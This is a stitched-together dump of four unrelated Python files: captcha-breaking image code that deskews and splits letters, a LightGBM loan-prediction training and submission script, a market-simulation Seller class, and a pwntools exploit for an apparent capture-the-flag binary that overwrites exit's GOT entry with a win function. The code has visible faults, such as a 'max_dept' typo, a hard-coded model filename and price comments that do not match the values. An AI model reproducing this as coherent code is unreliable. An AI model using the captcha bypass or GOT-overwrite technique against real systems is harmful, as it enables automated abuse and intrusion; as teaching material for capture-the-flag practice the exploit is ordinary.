                if pixels[x, y] == 1:
                    pixels[x, y] = 255

        self.pixels = pixels

    def derotate_by_average(self):
        """
        Rotate by checking each angle and guess most suitable.
        """
        w, h = self.img.size
        pixels = self.pixels

        for x in range(w):
            for y in range(h):
                if pixels[x, y] == 0:
                    pixels[x, y] = 155

        highest = {}
        counts = {}

        for angle in range(-45, 45):

            tmpimage = self.img.rotate(angle)

            pixels = tmpimage.load()

            w, h = self.img.size

            for x in range(w):
                for y in range(h):
                    if pixels[x, y] == 0:
                        pixels[x, y] = 255

            count = {}

            for x in range(w):
                count[x] = 0
                for y in range(h):
                    if pixels[x, y] == 155:
                        count[x] += 1

            sum = 0
            cnt = 0

            for x in count.values():
                if x != 0:
                    sum += x
                    cnt += 1

            avg = sum // cnt
            counts[angle] = cnt
            highest[angle] = 0
            for x in count.values():
                if x > highest[angle]:
                    highest[angle] = x

            highest[angle] = highest[angle] - avg

        hkey = 0
        hvalue = 0

        for key, value in highest.items():
            if value > hvalue:
                hkey = key
                hvalue = value

        self.img = self.img.rotate(hkey)
        pixels = self.img.load()

        for x in range(w):
            for y in range(h):
                if pixels[x, y] == 0:
                    pixels[x, y] = 255

                if pixels[x, y] == 155:
                    pixels[x, y] = 0

        self.pixels = pixels

    def split_captcha_letters(self):
        captcha = self.img
        started = False
        letters = []
        width, height = captcha.size
        bottomY, topY = 0, height
        pixels = captcha.load()

        for x in range(width):
            black_pixel_in_col = False
            for y in range(height):
                if pixels[x, y] != 255:
                    if not started:
                        started = True
                        firstX = x
                        lastX = x

                    if y > bottomY:
                        bottomY = y
                    if y < topY:
                        topY = y
                    if x > lastX:
                        lastX = x

                    black_pixel_in_col = True

            if black_pixel_in_col is False and started is True:
                rect = (firstX, topY, lastX, bottomY)
                new_captcha = captcha.crop(rect)

                w, h = new_captcha.size
                if w > 5 and h > 5:
                    letters.append(new_captcha)

                started = False
                bottomY, topY = 0, height

        return letters

    def correct(self, values, var=None):
        if var:
            result = var
        else:
            result = self.result_captcha

        for key, item in values.items():

            if key.__class__ is str:
                result = result.replace(key, item)
            else:
                for expr in key:
                    result = result.replace(expr, item)

        if var:
            return result
        else:
            self.result_captcha = result


#encoding:utf8
import os
import math
import numpy as np
import pandas as pd
import lightgbm as lgb
import pickle
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import StratifiedKFold
from gen_train_data import report,make_train_set
from sklearn.metrics import mean_squared_error,make_scorer
from gen_test_data import make_test_set
import time

# train
def lgb_model(df_train,df_test,params,feature_list,num):
    if os.path.exists('./model/lgb_model%s.pkl' % num):
        gbm = pickle.load(open('./model/lgb_model%s.pkl' % num,'rb'))
    else:
        lgb_train = lgb.Dataset(df_train[feature_list],label=df_train['label'],feature_name=feature_list)
        lgb_eval = lgb.Dataset(df_test[feature_list],label=df_test['label'],feature_name=feature_list, reference=lgb_train)
        gbm = lgb.train(params,
                        lgb_train,
                        num_boost_round=1500,
                        valid_sets=lgb_eval,
                        early_stopping_rounds=100)
        # gbm.save_model('model.txt')
        pickle.dump(gbm,open('./model/lgb_model77.pkl','wb'))
    y_pred = gbm.predict(df_test[feature_list], num_iteration=gbm.best_iteration)
    print('The rmse of prediction is:', mean_squared_error(df_test['label'], y_pred) ** 0.5)

    return y_pred

data_path = './data/training.pkl'
df = pickle.load(open(data_path,'rb'))
df = df.sample(frac=1)
# pickle.dump(df,open('./data/training.pkl','wb'))
# print(df[['order_cluster_label','loan_cluster_label','click_cluster_label','cluster_label']].describe())
feature_list = list(df.columns)
feature_list.remove('uid')
# [param_23,order_90,click_90,loan_90,plannum_mean,param_37,buy_sum,loan_sum,sex,plannum_min]
feature_list.remove('label')
# feature_list.remove('param_23')
# feature_list.remove('order_90')
# feature_list.remove('click_90')
# feature_list.remove('loan_90')
# feature_list.remove('plannum_mean')
# feature_list.remove('param_37')
# feature_list.remove('buy_sum')
# feature_list.remove('loan_sum')
# feature_list.remove('sex')
# feature_list.remove('plannum_min')

# feature_list.remove('label2')

test_num = int(len(df) * 0.2)
#############training data 1 ####################
params1 = {
    'task': 'train','boosting_type': 'gbdt','objective': 'regression',
    'metric': {'l2', 'rmse'},'max_depth':5,'num_leaves':21,
    'min_data_in_leaf':300,'learning_rate': 0.02,
    'feature_fraction': 0.75,'bagging_fraction': 0.8,'bagging_freq': 5,
    'verbose': -1}

df_train1 = df[:-test_num]
df_test1 = df[-test_num:]
#############training data 2 ####################
params2 = {
    'task': 'train','boosting_type': 'gbdt','objective': 'regression',
    'metric': {'l2', 'rmse'},'max_depth':5,'num_leaves':27,
    'min_data_in_leaf':350,'learning_rate': 0.02,
    'feature_fraction': 0.9,'bagging_fraction': 0.7,'bagging_freq': 5,
    'verbose': -1}

df_train2 = df[:test_num]
df_test2 = df[test_num:]
#############training data 3 ####################
params3 = {
    'task': 'train','boosting_type': 'gbdt','objective': 'regression',
    'metric': {'l2', 'rmse'},'max_depth':6,'num_leaves':27,
    'min_data_in_leaf':300,'learning_rate': 0.025,
    'feature_fraction': 0.8,'bagging_fraction': 0.8,'bagging_freq': 5,
    'verbose': -1}

df_train3 = df[:test_num].append(df[test_num *2:])
df_test3 = df[test_num:test_num *2]
#############training data 4 ####################
params4 = {
    'task': 'train','boosting_type': 'gbdt','objective': 'regression',
    'metric': {'l2', 'rmse'},'max_depth':6,'num_leaves':27,
    'min_data_in_leaf':300,'learning_rate': 0.02,
    'feature_fraction': 0.8,'bagging_fraction': 0.8,'bagging_freq': 5,
    'verbose': -1}

df_train4 = df[:test_num*2].append(df[test_num *3:])
df_test4 = df[test_num*2: test_num*3]

#############training data 5 ####################
params5 = {
    'task': 'train','boosting_type': 'gbdt','objective': 'regression',
    'metric': {'l2', 'rmse'},'max_dept':5,'num_leaves':21,
    'min_data_in_leaf':300,'learning_rate': 0.02,'num_iterations':3000,
    'feature_fraction': 0.9,'bagging_fraction': 0.9,'bagging_freq': 5,
    'verbose': -1}

df_train5 = df[:test_num*3].append(df[test_num *4:])
df_test5 = df[test_num*3: test_num*4]

############## predict #########################
start = time.time()
# pred1 = lgb_model(df_train1,df_test1,params1,feature_list,78)
# pred2 = lgb_model(df_train2,df_test2,params2,feature_list,9)
# pred3 = lgb_model(df_train3,df_test3,params3,feature_list,7)
# pred4 = lgb_model(df_train4,df_test4,params4,feature_list,7)
# pred5 = lgb_model(df_train5,df_test5,params5,feature_list,779)

# report(np.array(df_test1['label']), pred1)

# df_test['pred_loan'] = np.abs(y_pred)
# pickle.dump(df_test[['uid','label','pred_loan']],open('lgb7.pkl','wb'))

end = time.time()
print('train time:',(end-start)/60.)

##############submission#################
# X_test = make_test_set()
data_path = './data/test.pkl'
X_test = pickle.load(open(data_path,'rb'))
print(X_test.describe())
sub = X_test.copy()
# del X_test['uid']
X_test.columns = feature_list

gbm1 = pickle.load(open('./model/lgb_model773.pkl','rb'))
pred1 = gbm1.predict(X_test[feature_list], num_iteration=gbm1.best_iteration)
pred1 = np.where(pred1< 0. ,0,pred1)

# gbm2 = pickle.load(open('./model/lgb_model7895.pkl','rb'))
# pred2 = gbm2.predict(X_test[feature_list], num_iteration=gbm2.best_iteration)
# pred2 = np.where(pred2< 0. ,0,pred2)

gbm3 = pickle.load(open('./model/lgb_model778.pkl','rb'))
pred3 = gbm3.predict(X_test[feature_list], num_iteration=gbm3.best_iteration)
pred3 = np.where(pred3< 0. ,0,pred3)

# gbm4 = pickle.load(open('./model/lgb_model4.pkl','rb'))
# pred4 = gbm4.predict(X_test[feature_list], num_iteration=gbm4.best_iteration)

# gbm5 = pickle.load(open('./model/lgb_model5.pkl','rb'))
# pred5 = gbm5.predict(X_test[feature_list], num_iteration=gbm5.best_iteration)
# pred5 = np.where(pred5< 0. ,-pred5,pred5)

# # pred = np.array(pred)
# # pred = np.where(pred< 0. ,-pred,pred)

sub['pred1'] = pred1
# sub['pred2'] = pred2
sub['pred3'] = pred3
# sub['pred4'] = pred4
# sub['pred5'] = pred5

sub = sub[['uid','pred1','pred3']]
print(sub.describe())
sub['mean'] = sub[['pred1','pred3']].apply(lambda x : x.mean(),axis=1)

sub = sub[['uid','mean']]
sub.to_csv('./sub/sub13.csv',sep=',',header=None,index=False,encoding='utf8')
print(sub.describe())


import time
from threading import Lock, Thread
import numpy as np

from constants import tick_time
from google_ads import GoogleAds
from market import Market
from twitter import Twitter
#import sheet_api

class Seller(object):

    def __init__(self, name, products_list, wallet):
        """
        A class to represent the seller
        :param name: seller name string, eg. apple
        :param products_list: list of products sold by the seller
        :param wallet: total money owned by the seller
        """
        self.name = name
        # Each seller can sell multiple products in products_list
        self.products_list = products_list
        # self.product = product
        self.wallet = wallet

        # register the seller with each product it owns in market
        if products_list is not None:
            for product in products_list:
                Market.register_seller(self, product)

        # metrics tracker:
        # item_sold is total number of items of each product sold by seller.
        # A dictionary with each product as key and value is no. of items sold.eg.{iphone: 0, airpods: 0}
        self.item_sold = {key: 0 for key in products_list}

        # inventory is a list of dictionary with product as key and inventory number as value for each quarter
        # assume initial inventory is 1000 items for each product. Eg.{iphone: 1000, airpods: 1000}
        self.inventory = {key: 1000 for key in products_list}

        # sales, revenue, profit, expense and sentiment history start with zero for each product
        # Eg.[{iphone: 0, airpods: 0}] {key: 0 for key in products_list}
        self.sales_history = []
        self.revenue_history = []
        self.profit_history = []
        self.expense_history = [{key: 0 for key in products_list}]
        self.sentiment_history = []
        # advert_type and scale store data of advertisement strategy and users viewing ads for each product
        self.advert_history = [{key: (GoogleAds.ADVERT_BASIC, 1) for key in products_list}]
        self.promo_history = []
        self.buyer_history = []
        self.total_revenue = []
        self.total_expense = []
        self.total_profit = []
        self.budget = [wallet]

        # Flag for thread
        self.STOP = False

        self.lock = Lock()

        # start this seller in separate thread
        self.thread = Thread(name=name, target=self.loop)
        self.thread.start()

    def loop(self):
        """
        tick time for seller, one tick represent one quarter
        :return: none
        """
        while not self.STOP:
            self.tick()
            time.sleep(tick_time)

    def sold(self, product):
        """
        Add to the database when an item is sold
        :param product: product sold by the seller
        :return: available or not
        """
        if self.inventory[product] <= 0:
            return False
        else:
            self.lock.acquire()
            self.item_sold[product] += 1
            self.inventory[product] -= 1
            self.lock.release()

        return True

    def tick(self):
        """
        Actions to do in one time step in the simulation world:
        1. record sales history of number of items sold for each product
        2. calculate the metrics for previous tick and add to tracker, like revenue, expense, profit, user sentiment
        3. adjust price based on sales and inventory
        4. decide advertising type by CEO
        :return: none
        """
        # lock time to avoid shared variable being changed by other threads
        self.lock.acquire()

        # record sales history
        self.sales_history.append(self.item_sold)
        # reset the sales counter
        self.item_sold = self.item_sold.fromkeys(self.item_sold, 0)

        # release lock
        self.lock.release()

        # record metrics of revenue, profit
        self.record_metric()

#        printing results for debugging
#        print('\n\nSeller: ', self.name)
#        print('Revenue in previous quarter:', self.my_revenue())
#        print('Expenses in previous quarter:', self.my_expenses())
#        print('Profit in previous quarter:', self.my_profit())

        # add the profit to seller's wallet
        self.wallet += self.new_profit()

        # record current money in wallet as budget for next cycle
        self.budget.append(self.wallet)

        # adjust price for next time step
        self.adjust_price()

        # choose advertisement strategy for next time step
        self.CEO()

        # printing results for debugging
        #print('\nStrategy for next quarter \nProduct: {}, Advert Type: {}, scale: {}\n\n'.format(product.name, advert_type[product], scale[product]) for product in self.products_list)
        return

    def record_metric(self):
        """
        calculate the metrics (revenue, profit, user_sentiment, promotion effectiveness and number of buyers) for previous tick and add to tracker
            revenue = sales * price
            profit = revenue - expense
            user_sentiment is obtained from function "self.user_sentiment()"
            prmotion effectiveness = sales/ads scale
            number of buyers is obtained from GoogleAds purchase history
        :return: none
        """
        revenue = {k: v * (k.price) for k, v in self.sales_history[-1].items()}
        expense = self.expense_history[-1]
        profit = {k: v - expense[k] for k, v in revenue.items() if k in expense}
        ads_scale = self.advert_history[-1]
        promo_effect = {k: float(v/ads_scale[k][1]) for k, v in self.sales_history[-1].items() if k in ads_scale}

        num_buyer = {k: len(set(GoogleAds.purchase_history[k])) for k in self.products_list}

        # append revenue and profit record to the history in a list
        # Eg.[{iphone: 1, airpods: 2}, {iphone: 2, airpods: 3}]
        self.revenue_history.append(revenue)
        self.profit_history.append(profit)
        self.sentiment_history.append(self.user_sentiment())
        self.promo_history.append(promo_effect)
        self.buyer_history.append(num_buyer)

        return

    def my_revenue(self):
        """
        sum total revenue for all products in each time tick
        :return: list of revenue
        """
        return [sum(revenue.values()) for revenue in self.revenue_history]

    def my_expense(self):
        """
        sum total expense for all products in each time tick
        :return: list of expense
        """
        return [sum(expense.values()) for expense in self.expense_history]

    def my_profit(self):
        """
        sum total profit for all products in each time tick
        :return: list of profit
        """
        return [sum(profit.values()) for profit in self.profit_history]

    def new_profit(self):
        """
        calculate the latest total profit
        :return: total profit earned from all products sold (float)
        """
        return sum(self.profit_history[-1].values())

#    another method to get latest revenue (not used here in model)
#    def my_revenue(self, latest_only=False):
#        """
#        calculate the total revenue
#        :param latest_only: give the revenue in last tick if latest_only = True, else give the total revenue
#        :return: total revenue for all products sold (float)
#        """
#        if latest_only:
#            revenue = self.revenue_history[-1]
#            sum_revenue = sum(revenue.values())
#        else:
#            sum_revenue = sum(sum(revenue.values()) for revenue in self.revenue_history)
#
#        return sum_revenue

    def user_sentiment(self):
        """
        calculates the user sentiment from tweets.
        :return: a dictionary of sentiment value for each product as key
        """
        # initialize sentiment list with 1 for all products representing positive user_sentiment at first
#        sentiment_list = {key: 1 for key in self.products_list}
        sentiment_list = {}
        # get the latest tweets and calculate the percentage of positive tweets as user_sentiment
        for product in self.products_list:
            tweets = np.asarray(Twitter.get_latest_tweets(product, 10))
            sentiment = 1 if len(tweets) == 0 else (tweets == 'POSITIVE').mean()
            sentiment_list.update({product: sentiment})

        return sentiment_list

    def kill(self):
        """
        to stop the seller thread
        """
        self.STOP = True
        self.thread.join()

    def __str__(self):
        return self.name

    # Cognition system that decides what to do next.
    def CEO(self):
        """
        Choose advertisement types and scales for each product based on revenue and user_coverage.
        If user_coverage is less than target, choose basic ads, otherwise choose targeted ads.

        Set total advertisement budget less than a percentage of revenue or wallet money, to avoid bankrupt
        Scale (number of ads to put) equals to budget divided by advert price.

        :return: none
        """
        # initilize empty variable
        advert_type = {}
        expense = {}
        ads_type = GoogleAds.ADVERT_BASIC

        # set advertising budget as a percentage of total revenue or total money in wallet
        ads_percent = 0.5
        max_budget = self.wallet * 0.2

        # decide individual advertising strategy for each product
        for product in self.products_list:

            # get the latest revenue to decide ads budget
            revenue = self.revenue_history[-1][product]

            #avoid bankrupt by setting advertisment budget
            ads_budget = max(ads_percent * revenue, max_budget)
            coverage = GoogleAds.user_coverage(product)

            # check if user_coverage is more than half of GoogleAds users
            if coverage > 0.5:
                ads_type = GoogleAds.ADVERT_TARGETED

            scale = min(int(ads_budget / GoogleAds.advert_price[ads_type]), 500)

            # perform the actions and view the expense
            advert_type.update({product: (ads_type, scale)})

            # obtain expense from GoogleAds
            expense.update({product: GoogleAds.post_advertisement(self, product, ads_type, scale)})

        # store advertisement types and scales, and expense history
        self.advert_history.append(advert_type)
        self.expense_history.append(expense)

        return

    def adjust_price(self):
        """
        This function is for seller to increase or reduce price based on historical data:
        1. increase price when average sales is above target
        2. reduce price when inventory is more than benchmark
        or average sales volume is lower than benchmark
        :return: none
        """
        invent_bench = 200
        invent_min = 10
        sales_target = 200
        sales_bench = 2

        for product in self.products_list:

            total_sales = self.sales_history[-1][product]
            qtrs = len(self.sales_history)
            avg_sales = total_sales / qtrs
            price_delta = 0

            # adjust price 2 qtrs after market start
            if qtrs > 2:
                # 30% price increase for more profit
                if avg_sales > sales_target or self.inventory[product] < invent_min:
                    price_delta = 0.3

                # 90% discount promotion to improve sales
                elif avg_sales < sales_bench:
                    price_delta = -0.1

                # 80% discount to clear inventory
                elif self.inventory[product] > invent_bench:
                    price_delta = -0.2

            # calculate new price after adjustment
            product.price = int(product.price * (1 + price_delta))

        return


import os;os.environ['TMPDIR'] = os.path.join(os.environ['HOME'], 'tmp')
import pwn

remote_binary = "/problems/got_5_c5119617c90aa544a639812dbc41e24e/vuln"

def segfault():
    try:
        pr = pwn.process(remote_binary)
        elf = pwn.ELF(remote_binary, False)
        print(elf.got)
        pr.sendlineafter("Input address\n", str(elf.got["exit"]))
        pr.sendlineafter("Input value?\n", str(elf.sym["win"]))
        rsp = pr.readall(timeout=0.5)
        print(rsp)
    finally:
        pr.close()

segfault()